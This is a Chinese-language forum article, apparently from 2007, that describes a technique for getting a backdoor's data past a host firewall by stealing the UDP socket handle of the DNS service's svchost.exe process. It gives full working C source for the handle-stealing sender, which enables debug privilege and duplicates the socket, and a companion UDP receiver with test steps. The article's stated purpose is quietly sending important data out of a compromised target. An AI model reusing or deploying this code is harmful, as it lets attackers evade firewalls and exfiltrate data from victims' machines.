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一种新的穿透防火墙的数据传输技术

新穿透防火墙的数据传输技术

[安全]
发布时间:2007-01-04 04:24        来源:        作者:ZwelL
使用该技术背景: 在目标主机安放后门,需要将数据传输出去,同时数据很重要,动作不能太大。其他情况“严重”不推荐使用该技术(后面我会讲到为什么)。 针对目前防火墙的一些情况,如果自己的进程开一个端口(甚至是新建套接字)肯定被拦。相反,有一点我们也很清楚:被防火墙验证的进程在传送数据时永远不会被拦。所以,我的思路很简单:将其他进程中允许数据传输的套接字句柄拿为已用。 过程如下:
1. 找出目标进程
2. 找出SOCKET句柄
2. 用DuplicateHandle()函数将其SOCKET转换为能被自己使用
3. 用转换后的SOCKET进行数据传输
上面的过程写的很简单,但是实际实现起来还是存在一些问题(后面再做讨论),而且从上面的实现方法也可以看出一些不爽的地方:在目标进程的SOCKET不能是TCP,因为TCP的句柄已经跟外面建立了连接,所以只能是UDP。针对不同系统不同进程我们很难定位一个稳定的进程SOCKET。 看到上面这些,你有点丧气了对不对,哈哈。 再想一想,其实我们有一条真正的通罗马的“黄金大道”。 我们知道只要一台计算机连上了网络,那么有一种数据传输是肯定不会被拦截的,那就是DNS。你能想像域名解析数据都被拦了造成的结果吗? 嘿嘿, 既然这个是永远不会被拦的, 而且它又是UDP传输, 我们就拿他开刀。 下面是通过直接控制DNS进程(其实也就是svchost.exe,不过对应用户名是NETWORK SERVICE)进行数据传输的例子。编程中出现了很多问题,比方说获取svchost对应用户名时没有权限(但是能够操作LOCAL SERVICE),在句柄值为0x2c时进行getsockname时会停止运行等等。具体解决方法请细看注释部分。
CODE:
/*++

Made By ZwelL
[email]zwell@sohu.com[/email]
2005.4.12
--*/

#include <winsock2.h>
#include <stdio.h>
#include <wtsapi32.h>

#pragma comment(lib, "ws2_32")
#pragma comment(lib, "wtsapi32")

#define NT_SUCCESS(status)       ((NTSTATUS)(status)>=0)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)

typedef LONG   NTSTATUS;

typedef struct _SYSTEM_HANDLE_INFORMATION
{
  ULONG         ProcessId;
  UCHAR         ObjectTypeNumber;
  UCHAR         Flags;
  USHORT         Handle;
  PVOID         Object;
  ACCESS_MASK     GrantedAccess;
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;

typedef ULONG (WINAPI *ZWQUERYSYSTEMINFORMATION)(ULONG, PVOID, ULONG, PULONG);

ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation = NULL;

BOOL LocateNtdllEntry ( void )
{
  BOOL   ret       = FALSE;
  char   NTDLL_DLL[] = "ntdll.dll";
  HMODULE ntdll_dll   = NULL;


  if ( ( ntdll_dll = GetModuleHandle( NTDLL_DLL ) ) == NULL )
  {
    printf( "GetModuleHandle() failed");
    return( FALSE );
  }
  if ( !( ZwQuerySystemInformation = ( ZWQUERYSYSTEMINFORMATION )GetProcAddress
( ntdll_dll, "ZwQuerySystemInformation" ) ) )
  {
    goto LocateNtdllEntry_exit;
  }
  ret = TRUE;

LocateNtdllEntry_exit:

  if ( FALSE == ret )
  {
    printf( "GetProcAddress() failed");
  }
  ntdll_dll = NULL;
  return( ret );
}


/*++
This routine is used to get a process's username from it's SID
--*/
BOOL GetUserNameFromSid(PSID pUserSid, char *szUserName)
{
  // sanity checks and default value
  if (pUserSid == NULL)
    return false;
  strcpy(szUserName, "?");

  SID_NAME_USE   snu;
  TCHAR       szUser[_MAX_PATH];
  DWORD       chUser = _MAX_PATH;
  PDWORD       pcchUser = &chUser; 
  TCHAR       szDomain[_MAX_PATH];
  DWORD       chDomain = _MAX_PATH;
  PDWORD       pcchDomain = &chDomain;

  // Retrieve user name and domain name based on user's SID.
  if (
    ::LookupAccountSid(
    NULL, 
    pUserSid, 
    szUser, 
    pcchUser, 
    szDomain, 
    pcchDomain, 
    &snu
    )
    )
  {
    wsprintf(szUserName, "%s", szUser);
  }
  else
  {
    return false;
  }

  return true;
} 


/*++

This routine is used to get the DNS process's Id

Here, I use WTSEnumerateProcesses to get process user Sid, 
and then get the process user name. Beacause as it's a "NETWORK SERVICE", 
we cann't use OpenProcessToken to catch the DNS process's token information,
even if we has the privilege in catching the SYSTEM's.

--*/
DWORD GetDNSProcessId()
{
  PWTS_PROCESS_INFO pProcessInfo = NULL;
  DWORD         ProcessCount = 0;
  char         szUserName[255];
  DWORD         Id = -1;

  if (WTSEnumerateProcesses(WTS_CURRENT_SERVER_HANDLE, 0, 1, &pProcessInfo, &ProcessCount))
  {
    // dump each process description
    for (DWORD CurrentProcess = 0; CurrentProcess < ProcessCount; CurrentProcess++)
    {

        if( strcmp(pProcessInfo[CurrentProcess].pProcessName, "svchost.exe") == 0 )
        {
          GetUserNameFromSid(pProcessInfo[CurrentProcess].pUserSid, szUserName);
          if( strcmp(szUserName, "NETWORK SERVICE") == 0)
          {
            Id = pProcessInfo[CurrentProcess].ProcessId;
            break;
          }
        }
    }

    WTSFreeMemory(pProcessInfo);
  }

  return Id;
}


/*++
This doesn't work as we know, sign...
but you can use the routine for other useing...
--*/
/*
BOOL GetProcessUserFromId(char *szAccountName, DWORD PID)
{
  HANDLE hProcess = NULL, 
        hAccessToken = NULL;
  TCHAR InfoBuffer[1000], szDomainName[200];
  PTOKEN_USER pTokenUser = (PTOKEN_USER)InfoBuffer;
  DWORD dwInfoBufferSize,dwAccountSize = 200, dwDomainSize = 200;
  SID_NAME_USE snu;

  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, PID);
  if(hProcess == NULL)
  {
    printf("OpenProcess wrong");
    CloseHandle(hProcess);
    return false;
  }

  if(0 == OpenProcessToken(hProcess,TOKEN_QUERY,&hAccessToken))
  {
    printf("OpenProcessToken wrong:%08x", GetLastError());
    return false;
  }

  GetTokenInformation(hAccessToken,TokenUser,InfoBuffer,
    1000, &dwInfoBufferSize);

  LookupAccountSid(NULL, pTokenUser->User.Sid, szAccountName,
    &dwAccountSize,szDomainName, &dwDomainSize, &snu);

  if(hProcess)
    CloseHandle(hProcess);
  if(hAccessToken)
    CloseHandle(hAccessToken);
  return true;
}*/


/*++
Now, it is the most important stuff... ^_^
--*/
SOCKET GetSocketFromId (DWORD PID)
{
  NTSTATUS               status;
  PVOID                 buf   = NULL;
  ULONG                 size = 1;
  ULONG                 NumOfHandle = 0;
  ULONG                 i;
  PSYSTEM_HANDLE_INFORMATION   h_info = NULL;
  HANDLE   sock = NULL;
  DWORD   n;

  buf=malloc(0x1000);
  if(buf == NULL)
  {
    printf("malloc wrong\n");
    return NULL;
  }
  status = ZwQuerySystemInformation( 0x10, buf, 0x1000, &n );
  if(STATUS_INFO_LENGTH_MISMATCH == status)
  {
    free(buf);
    buf=malloc(n);
    if(buf == NULL)
    {
        printf("malloc wrong\n");
        return NULL;
    }
    status = ZwQuerySystemInformation( 0x10, buf, n, NULL);
  }
  else
  {
    printf("ZwQuerySystemInformation wrong\n");
    return NULL;
  }

  NumOfHandle = *(ULONG*)buf;

  h_info = ( PSYSTEM_HANDLE_INFORMATION )((ULONG)buf+4);

  for(i = 0; i<NumOfHandle ;i++)
  {
    try
    {
        if( ( h_info[i].ProcessId == PID ) && ( h_info[i].ObjectTypeNumber == 0x1c ) 
          && (h_info[i].Handle!=0x2c)   // I don't know why if the Handle equal to 0x2c,
 in my test, it stops at getsockname()
                            // So I jump over this situation... 
                            // May be it's different in your system, 
          ) //wind2000 is 0x1a
        {
          //printf("Handle:0x%x Type:%08x\n",h_info[i].Handle, h_info[i].ObjectTypeNumber);
          if( 0 == DuplicateHandle(
            OpenProcess(PROCESS_ALL_ACCESS, TRUE, PID), 
            (HANDLE)h_info[i].Handle, 
            GetCurrentProcess(), 
            &sock, 
            STANDARD_RIGHTS_REQUIRED, 
            true, 
            DUPLICATE_SAME_ACCESS)
            )
          {
            printf("DuplicateHandle wrong:%8x", GetLastError());
            continue;
          }

          //printf("DuplicateHandle ok\n");
          sockaddr_in name = {0};
          name.sin_family = AF_INET;
          int namelen = sizeof(sockaddr_in);
          getsockname( (SOCKET)sock, (sockaddr*)&name, &namelen );
          //printf("PORT=%5d\n",   ntohs( name.sin_port )); 
          if(ntohs(name.sin_port)>0)   // if port > 0, then we can use it
            break;
        }
    }
    catch(...)
    {
        continue;
    }
  }

  if ( buf != NULL )
  {
    free( buf );
  }
  return (SOCKET)sock;
}


/*++
This is not required...
--*/
BOOL EnablePrivilege (PCSTR name)
{
  HANDLE hToken;
  BOOL rv;

  TOKEN_PRIVILEGES priv = { 1, {0, 0, SE_PRIVILEGE_ENABLED} };
  LookupPrivilegeValue (
    0,
    name,
    &priv.Privileges[0].Luid
    );

  priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

  OpenProcessToken(
    GetCurrentProcess (),
    TOKEN_ADJUST_PRIVILEGES,
    &hToken
    );

  AdjustTokenPrivileges (
    hToken,
    FALSE,
    &priv,
    sizeof priv,
    0,
    0
    );

  rv = GetLastError () == ERROR_SUCCESS;

  CloseHandle (hToken);
  return rv;
}

void main() 
{
  WSADATA wsaData;
  char   testbuf[255];
  SOCKET   sock;
  sockaddr_in RecvAddr;

  int iResult = WSAStartup(MAKEWORD(2,2), &wsaData);
  if (iResult != NO_ERROR)
    printf("Error at WSAStartup()\n");

  if(!LocateNtdllEntry())
    return;

  if(!EnablePrivilege (SE_DEBUG_NAME))
  {
    printf("EnablePrivilege wrong\n");
    return;
  }

  sock = GetSocketFromId(GetDNSProcessId());
  if( sock==NULL)
  {
    printf("GetSocketFromId wrong\n");
    return;
  }

  //Change there value...
  RecvAddr.sin_family = AF_INET;
  RecvAddr.sin_port = htons(5555); 
  RecvAddr.sin_addr.s_addr = inet_addr("127.0.0.1");

  if(SOCKET_ERROR == sendto(sock, 
        "test", 
        5, 
        0, 
        (SOCKADDR *) &RecvAddr, 
        sizeof(RecvAddr)))
  {
    printf("sendto wrong:%d\n", WSAGetLastError());
  }
  else
  {
    printf("send ok... Have fun, right? ^_^\n");
  }
  
  getchar();

  //WSACleanup();
  return;
}
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很早以前我就有这个想法了,只是一直没有去实现。在上面的代码中,因为要找出DNS进程句柄,而svchost.exe又有多个,所以以用户名来进行判断,本来是用OpenProcessToken,但是怎么也不行。所以换个方法,用到了wtsapi32库函数。 再用下面的代码测试:
CODE:
/*++
UdpReceiver
--*/
#include <stdio.h>
#include "winsock2.h"

#pragma comment(lib, "ws2_32")

void main() 
{
WSADATA wsaData;
SOCKET RecvSocket;
sockaddr_in RecvAddr;
int Port = 5555;
char RecvBuf[1024];
int BufLen = 1024;
sockaddr_in SenderAddr;
int SenderAddrSize = sizeof(SenderAddr);

//-----------------------------------------------
// Initialize Winsock
WSAStartup(MAKEWORD(2,2), &wsaData);

//-----------------------------------------------
// Create a receiver socket to receive datagrams
RecvSocket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);

//-----------------------------------------------
// Bind the socket to any address and the specified port.
RecvAddr.sin_family = AF_INET;
RecvAddr.sin_port = htons(Port);
RecvAddr.sin_addr.s_addr = htonl(INADDR_ANY);

bind(RecvSocket, (SOCKADDR *) &RecvAddr, sizeof(RecvAddr));

//-----------------------------------------------
// Call the recvfrom function to receive datagrams
// on the bound socket.
printf("Receiving datagrams...\n");
while(1)
{
  recvfrom(RecvSocket, 
    RecvBuf, 
    BufLen, 
    0, 
    (SOCKADDR *)&SenderAddr, 
    &SenderAddrSize);
  printf("%s\n", RecvBuf);
}

//-----------------------------------------------
// Close the socket when finished receiving datagrams
printf("Finished receiving. Closing socket.\n");
closesocket(RecvSocket);

//-----------------------------------------------
// Clean up and exit.
printf("Exiting.\n");
WSACleanup();
return;
}
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测试步骤: 1. 在一台机器上执行UdpReceiver。 2. 在安装防火墙的机器上执行第一个程序。 (t116)
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